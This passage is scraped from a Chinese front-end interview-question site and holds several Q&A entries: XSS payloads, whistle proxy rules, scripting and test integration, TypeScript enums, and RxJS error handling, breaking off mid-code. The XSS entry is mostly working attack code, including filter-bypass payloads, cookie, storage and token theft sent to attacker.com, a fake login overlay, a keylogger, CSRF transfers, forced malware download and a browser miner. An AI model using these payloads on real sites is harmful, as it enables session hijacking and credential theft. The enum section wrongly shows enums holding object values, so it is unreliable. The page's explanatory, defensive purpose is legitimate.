乐闻世界logo
搜索文章和话题

前端面试题手册

常见的 XSS Payload 有哪些?如何识别和防护恶意 XSS 载荷?

答案XSS Payload(攻击载荷)是攻击者用于执行 XSS 攻击的恶意代码片段。了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。XSS Payload 可以分为多种类型,每种类型都有其特定的攻击场景和绕过技巧。基础 XSS Payload1. Script 标签注入最基础的 Payload:<script>alert(1)</script><script>alert('XSS')</script><script>alert("XSS")</script>变体:<script>alert(String.fromCharCode(88,83,83))</script><script>alert(/XSS/.source)</script><script>alert`XSS`</script>2. 图片标签注入onerror 事件:<img src=x onerror=alert(1)><img src=x onerror=alert('XSS')><img src=x onerror=alert("XSS")>变体:<img src=x onerror=alert(1)><img src=x onerror=alert(1) /><img src=x onerror=alert(1)//>3. SVG 标签注入onload 事件:<svg onload=alert(1)><svg/onload=alert(1)><svg onload="alert(1)">变体:<svg onload="alert(1)"><svg onload='alert(1)'><svg onload=alert(1)>高级 XSS Payload1. 事件处理器注入常见事件:<body onload=alert(1)><body onpageshow=alert(1)><body onfocus=alert(1)><body onblur=alert(1)><input onfocus=alert(1) autofocus><input onblur=alert(1) autofocus><input onchange=alert(1) autofocus><select onfocus=alert(1) autofocus><select onblur=alert(1) autofocus><select onchange=alert(1) autofocus><textarea onfocus=alert(1) autofocus><textarea onblur=alert(1) autofocus><textarea onchange=alert(1) autofocus><details open ontoggle=alert(1)><details open onmouseover=alert(1)><details open onclick=alert(1)>2. iframe 注入javascript: 协议:<iframe src="javascript:alert(1)"></iframe><iframe src='javascript:alert(1)'></iframe><iframe src=javascript:alert(1)></iframe>data: 协议:<iframe src="data:text/html,<script>alert(1)</script>"></iframe><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>3. form 注入formaction 属性:<form><button formaction=javascript:alert(1)>Click</button></form><form><input type=submit formaction=javascript:alert(1) value=Click></form>formtarget 属性:<form action="javascript:alert(1)"><input type=submit value=Click></form><form action="data:text/html,<script>alert(1)</script>"><input type=submit value=Click></form>绕过过滤器的 Payload1. 大小写绕过变体:<ScRiPt>alert(1)</ScRiPt><SCRIPT>alert(1)</SCRIPT><Img src=x oNeRrOr=alert(1)>2. 编码绕过HTML 实体编码:<script>alert(1)</script><script>alert(1)</script><script>alert(1)</script>URL 编码:%3Cscript%3Ealert(1)%3C/script%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3EJavaScript 编码:<script>\u0061\u006c\u0065\u0072\u0074(1)</script><script>\x61\x6c\x65\x72\x74(1)</script>3. 注释绕过变体:<!--><script>alert(1)</script>--><!----><script>alert(1)</script><!--><!--><img src=x onerror=alert(1)>-->4. 空格绕过变体:<img/src=x/onerror=alert(1)><svg/onload=alert(1)><script>alert(1)//>5. 引号绕过变体:<script>alert(1)</script><script>alert`1`</script><script>alert(/1/)</script><script>alert(String.fromCharCode(49))</script>Cookie 窃取 Payload1. 基础 Cookie 窃取直接发送:<script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));</script>使用 Image 标签:<img src="http://attacker.com/steal?cookie=123" onerror="this.src='http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)">2. 高级 Cookie 窃取使用 XMLHttpRequest:<script> const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); xhr.send();</script>使用 WebSocket:<script> const ws = new WebSocket('ws://attacker.com/steal'); ws.onopen = function() { ws.send(document.cookie); };</script>会话劫持 Payload1. 会话 ID 窃取LocalStorage 窃取:<script> const localStorageData = JSON.stringify(localStorage); fetch('http://attacker.com/steal?localStorage=' + encodeURIComponent(localStorageData));</script>SessionStorage 窃取:<script> const sessionStorageData = JSON.stringify(sessionStorage); fetch('http://attacker.com/steal?sessionStorage=' + encodeURIComponent(sessionStorageData));</script>2. Token 窃取JWT Token 窃取:<script> const token = localStorage.getItem('token'); fetch('http://attacker.com/steal?token=' + encodeURIComponent(token));</script>钓鱼攻击 Payload1. 虚假登录表单注入虚假表单:<script> const fakeForm = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>会话已过期,请重新登录</h3> <input type="text" id="username" placeholder="用户名"> <input type="password" id="password" placeholder="密码"> <button onclick="stealCredentials()">登录</button> </div> </div> `; document.body.innerHTML += fakeForm; function stealCredentials() { const username = document.getElementById('username').value; const password = document.getElementById('password').value; fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({ username, password }) }); }</script>2. 重定向攻击恶意重定向:<script> window.location = 'http://phishing.com/login?ref=' + encodeURIComponent(document.location.href);</script>使用 meta 标签:<meta http-equiv="refresh" content="0;url=http://phishing.com/login">键盘记录 Payload1. 基础键盘记录记录所有按键:<script> let keylog = ''; document.addEventListener('keydown', function(e) { keylog += e.key; if (keylog.length > 100) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = ''; } });</script>2. 高级键盘记录记录上下文:<script> let keylog = []; document.addEventListener('keydown', function(e) { keylog.push({ key: e.key, timestamp: Date.now(), url: window.location.href, element: e.target.tagName }); if (keylog.length > 50) { fetch('http://attacker.com/keylog', { method: 'POST', body: JSON.stringify({ keylog }) }); keylog = []; } });</script>数据篡改 Payload1. 修改页面内容修改文本内容:<script> document.getElementById('bank-balance').textContent = '999999.99'; document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>';</script>2. 修改链接修改所有链接:<script> const links = document.querySelectorAll('a'); links.forEach(link => { link.href = 'http://phishing.com/login?redirect=' + encodeURIComponent(link.href); });</script>CSRF 辅助 Payload1. 自动发送请求发送 GET 请求:<script> fetch('http://bank.com/transfer?to=attacker&amount=10000', { credentials: 'include' });</script>发送 POST 请求:<script> fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'to=attacker&amount=10000', credentials: 'include' });</script>2. 窃取 CSRF Token窃取 meta 标签中的 Token:<script> const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + encodeURIComponent(csrfToken));</script>恶意软件分发 Payload1. 下载恶意文件自动下载:<script> const link = document.createElement('a'); link.href = 'http://malicious.com/trojan.exe'; link.download = 'update.exe'; link.click();</script>2. 诱导下载显示虚假更新提示:<script> const updateMessage = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"> <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;"> <h3>发现新版本,请点击下载更新</h3> <a href="http://malicious.com/update.exe" download>下载更新</a> </div> </div> `; document.body.innerHTML += updateMessage;</script>网页挖矿 Payload1. 使用 Coinhive基础挖矿:<script src="https://coin-hive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.User('site-key'); miner.start();</script>2. 使用 JSEncrypt加密挖矿:<script src="https://cdnjs.cloudflare.com/ajax/libs/jsencrypt/3.0.0/jsencrypt.min.js"></script><script> var crypt = new JSEncrypt(); // 执行加密挖矿</script>检测和防护1. 检测 Payload常见检测方法:搜索 <script> 标签搜索 javascript: 协议搜索 onerror、onload 等事件处理器搜索 eval()、new Function() 等危险函数使用正则表达式匹配恶意模式2. 防护 Payload防护措施:对所有用户输入进行编码使用 Content Security Policy设置 HttpOnly Cookie使用安全的 DOM API实施输入验证和过滤总结XSS Payload 是攻击者执行 XSS 攻击的工具,了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。常见的 XSS Payload 包括:基础 Payload:Script 标签、图片标签、SVG 标签高级 Payload:事件处理器、iframe、form绕过过滤器 Payload:大小写、编码、注释、空格、引号Cookie 窃取 Payload:直接发送、使用 Image 标签会话劫持 Payload:LocalStorage、SessionStorage、Token 窃取钓鱼攻击 Payload:虚假登录表单、重定向攻击键盘记录 Payload:记录按键、记录上下文数据篡改 Payload:修改页面内容、修改链接CSRF 辅助 Payload:自动发送请求、窃取 CSRF Token恶意软件分发 Payload:下载恶意文件、诱导下载网页挖矿 Payload:使用 Coinhive、JSEncrypt通过了解这些 Payload,开发者可以更好地检测和防护 XSS 攻击。
阅读 0·2月21日 16:25

whistle 的规则语法是什么,常用的操作符有哪些?

答案Whistle 的规则语法非常简洁直观,基本格式为:pattern operator-uri基本规则格式pattern operator-uripattern:匹配模式,可以是域名、路径、正则表达式等operator:操作符,指定要执行的操作类型uri:目标地址或参数常用操作符host:修改请求的 Host 头 www.example.com host 127.0.0.1:8080reqHeaders:修改请求头 www.example.com reqHeaders://{custom-headers.json}resHeaders:修改响应头 www.example.com resHeaders://{cors-headers.json}resBody:修改响应体 www.example.com resBody://{mock-data.json}resReplace:替换响应内容 www.example.com resReplace://old-string/new-stringreqScript:使用脚本处理请求 www.example.com reqScript://{request-handler.js}resScript:使用脚本处理响应 www.example.com resScript://{response-handler.js}forward:转发请求到指定地址 www.example.com forward https://api.example.com匹配模式示例精确匹配域名 www.example.com operator-uri通配符匹配 *.example.com operator-uri路径匹配 www.example.com/api/* operator-uri正则表达式 /^https:\/\/www\.example\.com\/api\/.*/ operator-uri规则优先级Whistle 按照规则在配置文件中的顺序从上到下匹配,一旦匹配成功就不再继续匹配后续规则。因此,更具体的规则应该放在前面。注释和分组使用 # 添加注释使用 # group-name 创建分组,便于管理大量规则
阅读 0·2月21日 16:25

whistle 如何使用脚本处理请求和响应,有哪些高级用法?

答案Whistle 支持通过脚本处理请求和响应,这为开发者提供了极大的灵活性,可以实现复杂的网络请求处理逻辑。脚本处理基础1. 脚本文件格式Whistle 脚本使用 CommonJS 模块格式:module.exports = function(req, res) { // 处理逻辑};2. 脚本类型reqScript:处理请求resScript:处理响应plugin:插件脚本reqScript 使用1. 基本用法创建脚本文件:request-handler.jsmodule.exports = function(req, res) { console.log('Request URL:', req.url); console.log('Request Method:', req.method); console.log('Request Headers:', req.headers);};配置规则:www.example.com reqScript://{request-handler.js}2. 修改请求头module.exports = function(req, res) { // 添加自定义请求头 req.headers['X-Custom-Header'] = 'Custom Value'; // 修改现有请求头 req.headers['User-Agent'] = 'Custom User Agent'; // 删除请求头 delete req.headers['Authorization'];};3. 修改请求体module.exports = function(req, res) { let body = ''; req.on('data', function(chunk) { body += chunk.toString(); }); req.on('end', function() { // 修改请求体 const modifiedBody = body.replace(/old/g, 'new'); // 重新发送修改后的请求 // 注意:这需要特殊处理 });};4. 请求重定向module.exports = function(req, res) { // 修改请求 URL if (req.url.includes('/old-path')) { req.url = req.url.replace('/old-path', '/new-path'); }};5. 条件处理module.exports = function(req, res) { // 根据请求方法处理 if (req.method === 'POST') { req.headers['X-Request-Type'] = 'POST'; } // 根据请求路径处理 if (req.url.includes('/api/')) { req.headers['X-API-Request'] = 'true'; } // 根据请求头处理 if (req.headers['authorization']) { req.headers['X-Authenticated'] = 'true'; }};resScript 使用1. 基本用法创建脚本文件:response-handler.jsmodule.exports = function(req, res) { console.log('Response Status:', res.statusCode); console.log('Response Headers:', res.headers);};配置规则:www.example.com resScript://{response-handler.js}2. 修改响应头module.exports = function(req, res) { // 添加自定义响应头 res.setHeader('X-Custom-Header', 'Custom Value'); // 修改现有响应头 res.setHeader('Content-Type', 'application/json'); // 删除响应头 res.removeHeader('X-Powered-By');};3. 修改响应体module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { let body = chunk.toString(); // 修改响应内容 body = body.replace(/old/g, 'new'); body = body.replace(/error/g, 'success'); // 重新结束响应 originalEnd.call(res, body, encoding); } else { originalEnd.call(res, chunk, encoding); } };};4. 响应数据转换module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { const body = chunk.toString(); // JSON 数据转换 if (res.headers['content-type'] && res.headers['content-type'].includes('application/json')) { const jsonData = JSON.parse(body); jsonData.timestamp = Date.now(); jsonData.modified = true; originalEnd.call(res, JSON.stringify(jsonData), encoding); } else { originalEnd.call(res, chunk, encoding); } } else { originalEnd.call(res, chunk, encoding); } };};5. 响应缓存const cache = {};module.exports = function(req, res) { const cacheKey = req.url; // 检查缓存 if (cache[cacheKey]) { console.log('Using cached response for:', cacheKey); res.end(cache[cacheKey]); return; } // 缓存响应 const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { cache[cacheKey] = chunk.toString(); originalEnd.call(res, chunk, encoding); } else { originalEnd.call(res, chunk, encoding); } };};高级脚本处理1. 组合使用 reqScript 和 resScriptrequest-handler.js:module.exports = function(req, res) { // 请求开始时间 req.startTime = Date.now(); req.headers['X-Request-Start'] = req.startTime;};response-handler.js:module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { // 计算请求耗时 const duration = Date.now() - (req.startTime || 0); res.setHeader('X-Request-Duration', duration); originalEnd.call(res, chunk, encoding); } else { originalEnd.call(res, chunk, encoding); } };};配置规则:www.example.com reqScript://{request-handler.js} resScript://{response-handler.js}2. 使用外部模块const fs = require('fs');const path = require('path');module.exports = function(req, res) { // 读取外部文件 const filePath = path.join(__dirname, 'data.json'); const data = JSON.parse(fs.readFileSync(filePath, 'utf8')); // 使用数据修改响应 const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { const body = chunk.toString(); const modifiedBody = body.replace('{{data}}', JSON.stringify(data)); originalEnd.call(res, modifiedBody, encoding); } else { originalEnd.call(res, chunk, encoding); } };};3. 异步处理const https = require('https');module.exports = function(req, res) { const originalEnd = res.end; res.end = function(chunk, encoding) { if (chunk) { // 异步处理 https.get('https://api.example.com/data', (response) => { let data = ''; response.on('data', (chunk) => { data += chunk; }); response.on('end', () => { // 使用外部数据修改响应 const body = chunk.toString(); const modifiedBody = body.replace('{{external-data}}', data); originalEnd.call(res, modifiedBody, encoding); }); }).on('error', (err) => { console.error('Error fetching external data:', err); originalEnd.call(res, chunk, encoding); }); } else { originalEnd.call(res, chunk, encoding); } };};脚本调试1. 使用 console.logmodule.exports = function(req, res) { console.log('Request URL:', req.url); console.log('Request Method:', req.method); console.log('Request Headers:', JSON.stringify(req.headers, null, 2));};2. 错误处理module.exports = function(req, res) { try { // 处理逻辑 const result = processData(req); res.end(JSON.stringify(result)); } catch (error) { console.error('Script error:', error); res.statusCode = 500; res.end(JSON.stringify({ error: error.message })); }};最佳实践1. 脚本组织按功能模块组织脚本使用有意义的文件名添加注释说明脚本用途2. 性能优化避免在脚本中进行复杂计算使用缓存减少重复操作合理使用异步处理3. 错误处理添加适当的错误处理记录错误日志提供友好的错误信息4. 安全考虑验证输入数据防止注入攻击不暴露敏感信息
阅读 0·2月21日 16:25

whistle 如何支持自动化测试,有哪些测试框架集成方案?

答案Whistle 支持自动化测试,可以与各种测试框架集成,提高测试效率和质量。自动化测试基础1. 测试环境配置安装测试依赖:npm install --save-dev whistle puppeteer jest配置测试环境:// setup-whistle.jsconst { spawn } = require('child_process');let whistleProcess;beforeAll(async () => { // 启动 whistle whistleProcess = spawn('w2', ['start', '-p', '8899']); // 等待 whistle 启动 await new Promise(resolve => setTimeout(resolve, 3000));});afterAll(async () => { // 停止 whistle spawn('w2', ['stop']); // 等待 whistle 停止 await new Promise(resolve => setTimeout(resolve, 1000));});Jest 集成1. 基本测试用例创建测试文件:whistle.test.jsconst puppeteer = require('puppeteer');const fs = require('fs');const path = require('path');describe('Whistle Tests', () => { let browser; let page; beforeAll(async () => { browser = await puppeteer.launch({ args: ['--proxy-server=127.0.0.1:8899'] }); page = await browser.newPage(); }); afterAll(async () => { await browser.close(); }); test('should proxy requests correctly', async () => { // 配置 whistle 规则 const rules = 'www.example.com host 127.0.0.1:3000'; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 访问测试页面 await page.goto('http://www.example.com'); // 验证请求被代理 const response = await page.goto('http://www.example.com'); expect(response.status()).toBe(200); }); test('should mock API responses', async () => { // 配置 mock 规则 const mockData = JSON.stringify({ code: 0, data: 'mock' }); const rules = `www.example.com/api/user resBody://${mockData}`; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 访问 API const response = await page.goto('http://www.example.com/api/user'); const data = await response.json(); expect(data.code).toBe(0); expect(data.data).toBe('mock'); });});2. 高级测试用例测试跨域处理:test('should handle CORS correctly', async () => { // 配置 CORS 规则 const corsHeaders = JSON.stringify({ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS' }); const rules = `www.example.com resHeaders://${corsHeaders}`; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 测试跨域请求 const response = await page.evaluate(async () => { const res = await fetch('http://www.example.com/api/data'); return res.json(); }); expect(response).toBeDefined();});测试 HTTPS 拦截:test('should intercept HTTPS requests', async () => { // 配置 HTTPS 规则 const rules = 'https://www.example.com host 127.0.0.1:3000'; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 访问 HTTPS 页面 const response = await page.goto('https://www.example.com'); expect(response.status()).toBe(200);});Cypress 集成1. 配置 Cypress创建配置文件:cypress.config.jsconst { defineConfig } = require('cypress');module.exports = defineConfig({ e2e: { setupNodeEvents(on, config) { // 配置浏览器代理 on('before:browser:launch', (browser, launchOptions) => { launchOptions.args.push(`--proxy-server=http://127.0.0.1:8899`); return launchOptions; }); }, },});2. 创建测试用例创建测试文件:cypress/e2e/whistle.cy.jsdescribe('Whistle E2E Tests', () => { beforeEach(() => { // 配置 whistle 规则 cy.task('setWhistleRules', 'www.example.com host 127.0.0.1:3000'); }); it('should proxy requests correctly', () => { cy.visit('http://www.example.com'); cy.contains('Example Domain').should('be.visible'); }); it('should mock API responses', () => { const mockData = { code: 0, data: 'mock' }; cy.task('setWhistleRules', `www.example.com/api/user resBody://${JSON.stringify(mockData)}`); cy.request('http://www.example.com/api/user').then((response) => { expect(response.body.code).to.equal(0); expect(response.body.data).to.equal('mock'); }); });});3. 配置 Cypress 任务创建任务文件:cypress/plugins/index.jsconst fs = require('fs');const path = require('path');module.exports = (on, config) => { on('task', { setWhistleRules(rules) { const rulesPath = path.join(__dirname, '../../test.rules'); fs.writeFileSync(rulesPath, rules); return null; }, });};Playwright 集成1. 配置 Playwright创建配置文件:playwright.config.jsconst { defineConfig, devices } = require('@playwright/test');module.exports = defineConfig({ use: { proxy: { server: 'http://127.0.0.1:8899', }, },});2. 创建测试用例创建测试文件:whistle.spec.jsconst { test, expect } = require('@playwright/test');const fs = require('fs');const path = require('path');test.describe('Whistle Playwright Tests', () => { test.beforeEach(async () => { // 配置 whistle 规则 const rules = 'www.example.com host 127.0.0.1:3000'; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); }); test('should proxy requests correctly', async ({ page }) => { await page.goto('http://www.example.com'); const title = await page.title(); expect(title).toContain('Example Domain'); }); test('should mock API responses', async ({ page, request }) => { const mockData = { code: 0, data: 'mock' }; const rules = `www.example.com/api/user resBody://${JSON.stringify(mockData)}`; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); const response = await request.get('http://www.example.com/api/user'); const data = await response.json(); expect(data.code).toBe(0); expect(data.data).toBe('mock'); });});性能测试1. 使用 Lighthouse创建性能测试:const lighthouse = require('lighthouse');const chromeLauncher = require('chrome-launcher');test('should meet performance standards', async () => { const chrome = await chromeLauncher.launch({ chromeFlags: ['--proxy-server=127.0.0.1:8899'] }); const options = { logLevel: 'info', output: 'json', port: chrome.port }; const runnerResult = await lighthouse('http://www.example.com', options); const metrics = runnerResult.lhr.audits; expect(metrics['first-contentful-paint'].numericValue).toBeLessThan(2000); expect(metrics['interactive'].numericValue).toBeLessThan(5000); await chrome.kill();});2. 使用 WebPageTest创建性能测试脚本:const WebPageTest = require('webpagetest');test('should meet WebPageTest standards', async () => { const wpt = new WebPageTest('www.webpagetest.org', 'YOUR_API_KEY'); const result = await wpt.runTest('http://www.example.com', { location: 'Dulles:Chrome', firstViewOnly: true, proxy: '127.0.0.1:8899' }); const data = result.data; expect(data.average.firstView.TTFB).toBeLessThan(500); expect(data.average.firstView.loadTime).toBeLessThan(3000);});API 测试1. 使用 Supertest创建 API 测试:const request = require('supertest');const express = require('express');const app = express();app.get('/api/test', (req, res) => { res.json({ message: 'success' });});test('should proxy API requests correctly', async () => { // 配置 whistle 规则 const rules = 'api.example.com host 127.0.0.1:3000'; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 测试 API 请求 const response = await request(app) .get('/api/test') .set('Host', 'api.example.com') .expect(200); expect(response.body.message).toBe('success');});2. 使用 Axios创建 API 测试:const axios = require('axios');test('should handle API responses correctly', async () => { // 配置 whistle 规则 const mockData = { code: 0, data: 'test' }; const rules = `api.example.com/api/test resBody://${JSON.stringify(mockData)}`; fs.writeFileSync(path.join(__dirname, 'test.rules'), rules); // 测试 API 请求 const response = await axios.get('http://api.example.com/api/test'); expect(response.data.code).toBe(0); expect(response.data.data).toBe('test');});CI/CD 集成1. GitHub Actions创建工作流文件:.github/workflows/test.ymlname: Teston: [push, pull_request]jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Setup Node.js uses: actions/setup-node@v2 with: node-version: '16' - name: Install dependencies run: npm install - name: Install whistle run: npm install -g whistle - name: Start whistle run: w2 start -p 8899 - name: Run tests run: npm test - name: Stop whistle run: w2 stop2. Jenkins Pipeline创建 Jenkinsfile:pipeline { agent any stages { stage('Setup') { steps { sh 'npm install' sh 'npm install -g whistle' sh 'w2 start -p 8899' } } stage('Test') { steps { sh 'npm test' } } stage('Cleanup') { steps { sh 'w2 stop' } } }}最佳实践隔离测试环境使用独立的测试端口配置独立的规则文件避免测试互相干扰清理测试资源测试后清理规则文件停止 whistle 进程清理临时文件使用 Mock 数据使用固定的 Mock 数据避免依赖外部服务提高测试稳定性并行测试使用不同的端口配置独立的 whistle 实例提高测试效率监控测试结果记录测试日志分析失败原因持续优化测试
阅读 0·2月21日 16:25

如何在TypeScript中处理枚举?

引言在TypeScript开发中,枚举(Enum)是构建类型安全代码的关键工具,它允许开发者定义一组命名的常量集合,从而提升代码的可读性、可维护性和编译时检查能力。与JavaScript不同,TypeScript作为超集语言,提供了编译时的类型推断和错误预防机制,使枚举成为处理状态机、配置选项或业务规则的首选方案。本文将深入探讨TypeScript中枚举的处理方法,包括基础用法、高级技巧及实践建议,帮助开发者避免常见陷阱并优化代码结构。根据TypeScript官方文档,枚举本质上是通过enum关键字创建的类型,其值在编译阶段被转换为具体的JavaScript值,但保留了类型检查能力——这一特性在大型项目中尤为重要,能显著减少运行时错误。枚举的基本概念什么是枚举?枚举是TypeScript中用于定义命名常量集合的类型。它通过将一组相关的值映射到有意义的名称,使代码更易理解。例如,在表示颜色时,Red、Green和Blue比使用数字0、1、2更直观。枚举分为数字枚举、字符串枚举和异构枚举,其核心特性是:编译时类型检查:编译器确保枚举值在使用时符合定义。默认值行为:数字枚举默认从0开始递增;字符串枚举则使用指定字符串。隐式转换:枚举值可自动转换为数字或字符串,但需谨慎使用以避免意外行为。创建简单枚举基本枚举通过enum关键字声明。以下示例展示了一个数字枚举:enum Status { Pending = 0, Approved = 1, Rejected = 2}// 使用枚举const jobStatus: Status = Status.Approved;console.log(jobStatus); // 输出: 1// 类型检查:编译器会捕获非法值// const invalidStatus: Status = 3; // 错误:类型 'number' 不符合 'Status'关键点:数字枚举默认从0开始,但可通过显式赋值覆盖。此示例中,Pending被显式设为0,避免隐式递增导致的逻辑错误。实践中,建议始终显式赋值以保证可预测性。枚举的类型推断TypeScript支持枚举的类型推断,但需注意其行为:当枚举值未显式赋值时,数字枚举自动递增(如enum Level { Low, Medium } → Low=0, Medium=1)。字符串枚举的值必须明确指定,否则编译失败。例如:enum LogLevel { Debug = 'DEBUG', Info = 'INFO'}const logLevel: LogLevel = LogLevel.Debug;console.log(logLevel); // 输出: 'DEBUG'// 类型推断:若未指定值,编译器会报错// enum InvalidEnum { First } // 错误:字符串枚举必须显式赋值高级枚举处理数字枚举的深度应用数字枚举适用于需要数值计算的场景,如状态码。但需避免隐式递增导致的错误:enum ProductType { Electronics = 100, Clothing = 101, Books = 102}// 通过枚举值计算const total = ProductType.Electronics + ProductType.Clothing; // 202// 常见陷阱:隐式递增可能导致意外值// enum Status { Draft, Published } // Draft=0, Published=1最佳实践:始终显式赋值,尤其在业务逻辑中。数字枚举适用于需要数值操作的场景,但应避免与字符串枚举混合使用,以防类型混淆。字符串枚举:提升可读性字符串枚举使用字符串值,适合UI或配置场景,能避免数字误用:enum Language { English = 'en-US', Spanish = 'es-ES', French = 'fr-FR'}const userLang: Language = Language.Spanish;console.log(userLang); // 输出: 'es-ES'// 验证枚举值function validateLang(lang: Language): boolean { return ['en-US', 'es-ES', 'fr-FR'].includes(lang);}console.log(validateLang(Language.English)); // true优势:字符串枚举在运行时更安全,因为字符串值是不可变的。同时,TypeScript会严格检查值是否匹配,防止意外赋值(如'invalid')。异构枚举:处理混合类型TypeScript支持异构枚举,即枚举值包含不同数据类型,适用于复杂场景:enum PaymentMethod { CreditCard = 'cc', PayPal = { type: 'paypal', token: 'abc123' }, Cash = 'cash'}// 使用异构值const payment: PaymentMethod = PaymentMethod.PayPal;if (typeof payment === 'object') { console.log(payment.type); // 输出: 'paypal'}// 编译时检查:类型推断会识别值类型function processPayment(method: PaymentMethod) { if (typeof method === 'string') { // 处理字符串类型 } else { // 处理对象类型 }}注意:异构枚举在编译阶段可能引发警告,建议仅在必要时使用,以保持代码简洁。TypeScript 4.5+ 支持此特性,但需确保项目配置兼容。实践建议何时使用枚举使用场景:当需要定义一组固定、互斥的常量时,如状态码、配置选项或UI组件类型。避免场景:对于动态生成的值(如用户输入),应使用普通变量或接口,避免枚举僵化。替代方案:对于大型项目,优先考虑使用const或enum的组合(如const { Pending, Approved } = Status),以提升可读性。常见陷阱与解决方案隐式递增问题:数字枚举默认从0开始,可能导致逻辑错误。解决方案:显式赋值所有值,例如enum Status { Pending = 0, ... }。类型混淆:数字枚举和字符串枚举混合使用时,编译器可能无法区分。解决方案:在代码中明确注释,或使用TypeScript的as断言处理。枚举污染:全局枚举可能导致命名冲突。解决方案:将枚举封装在命名空间或模块中,例如:namespace MyProject { enum Color { Red, Green }}性能考量枚举在编译时被转换为JavaScript对象,因此对性能影响极小。但在大型项目中,过度使用枚举可能增加代码体积。建议:仅在必要时使用枚举,避免在频繁迭代的循环中使用。优先使用字符串枚举,因其在运行时更高效(无额外对象开销)。结论TypeScript枚举是构建类型安全应用的核心工具,通过合理处理枚举,开发者能显著提升代码质量和可维护性。本文详细介绍了基本用法、高级技巧及实践建议,强调了显式赋值、类型推断和避免常见陷阱的重要性。在实际项目中,建议结合官方文档(TypeScript Documentation)进行实践,并根据场景选择合适的枚举类型。记住:枚举不是万能的,需与接口、类型别名等结合使用,以构建健壮的TypeScript代码。最终,处理枚举的核心原则是——保持代码清晰,避免过度复杂化。 附录:代码示例汇总图:TypeScript枚举的编译流程示意图(来源:TypeScript官方文档)
阅读 0·2月21日 16:23

RxJS 中如何处理错误?有哪些错误处理操作符?

错误处理的重要性在 RxJS 中,错误处理至关重要,因为 Observable 流中的任何错误都会导致整个流终止。如果不正确处理错误,可能会导致:应用崩溃数据丢失用户体验下降调试困难常用错误处理操作符1. catchErrorcatchError 是最常用的错误处理操作符,它捕获错误并返回一个新的 Observable。基本用法:import { of } from 'rxjs';import { map, catchError } from 'rxjs/operators';of(1, 2, 3, 4).pipe( map(x => { if (x === 3) throw new Error('Error at 3'); return x; }), catchError(error => { console.error('Caught error:', error.message); return of('default value'); })).subscribe(console.log);// 输出: 1, 2, 'default value'高级用法 - 恢复性错误处理:import { of, throwError } from 'rxjs';import { map, catchError, retry } from 'rxjs/operators';function fetchData(id: number) { return of({ id, data: `Data ${id}` }).pipe( map(response => { if (id === 2) throw new Error('Invalid ID'); return response; }) );}of(1, 2, 3).pipe( mergeMap(id => fetchData(id).pipe( catchError(error => { console.error(`Error for ID ${id}:`, error.message); return of({ id, data: 'fallback data' }); }) ))).subscribe(result => console.log(result));// 输出: {id: 1, data: "Data 1"}, {id: 2, data: "fallback data"}, {id: 3, data: "Data 3"}2. retryretry 操作符在遇到错误时重新订阅源 Observable。基本用法:import { of, throwError } from 'rxjs';import { map, retry } from 'rxjs/operators';let attempts = 0;const source$ = of(1, 2, 3).pipe( map(x => { attempts++; if (attempts < 3) throw new Error('Temporary error'); return x; }), retry(2) // 重试2次);source$.subscribe({ next: value => console.log('Success:', value), error: error => console.error('Failed:', error.message)});// 输出: Success: 1, Success: 2, Success: 3带延迟的重试:import { of, throwError, timer } from 'rxjs';import { map, retryWhen, delayWhen, tap } from 'rxjs/operators';let attempts = 0;const source$ = of(1).pipe( map(() => { attempts++; if (attempts < 3) throw new Error('Temporary error'); return 'Success'; }), retryWhen(errors => errors.pipe( tap(error => console.log(`Attempt ${attempts} failed`)), delayWhen(() => timer(1000)) // 每次重试延迟1秒 ) ));source$.subscribe(console.log);3. retryWhenretryWhen 提供更灵活的重试控制,可以自定义重试逻辑。指数退避重试:import { of, throwError, timer } from 'rxjs';import { map, retryWhen, tap, scan, delayWhen } from 'rxjs/operators';let attempts = 0;const source$ = of(1).pipe( map(() => { attempts++; if (attempts < 3) throw new Error('Temporary error'); return 'Success'; }), retryWhen(errors => errors.pipe( scan((retryCount, error) => { if (retryCount >= 3) throw error; return retryCount + 1; }, 0), tap(retryCount => console.log(`Retry attempt ${retryCount + 1}`)), delayWhen(retryCount => timer(Math.pow(2, retryCount) * 1000)) ) ));source$.subscribe(console.log);4. finalizefinalize 在 Observable 完成或出错时执行清理操作。基本用法:import { of } from 'rxjs';import { map, finalize } from 'rxjs/operators';of(1, 2, 3).pipe( 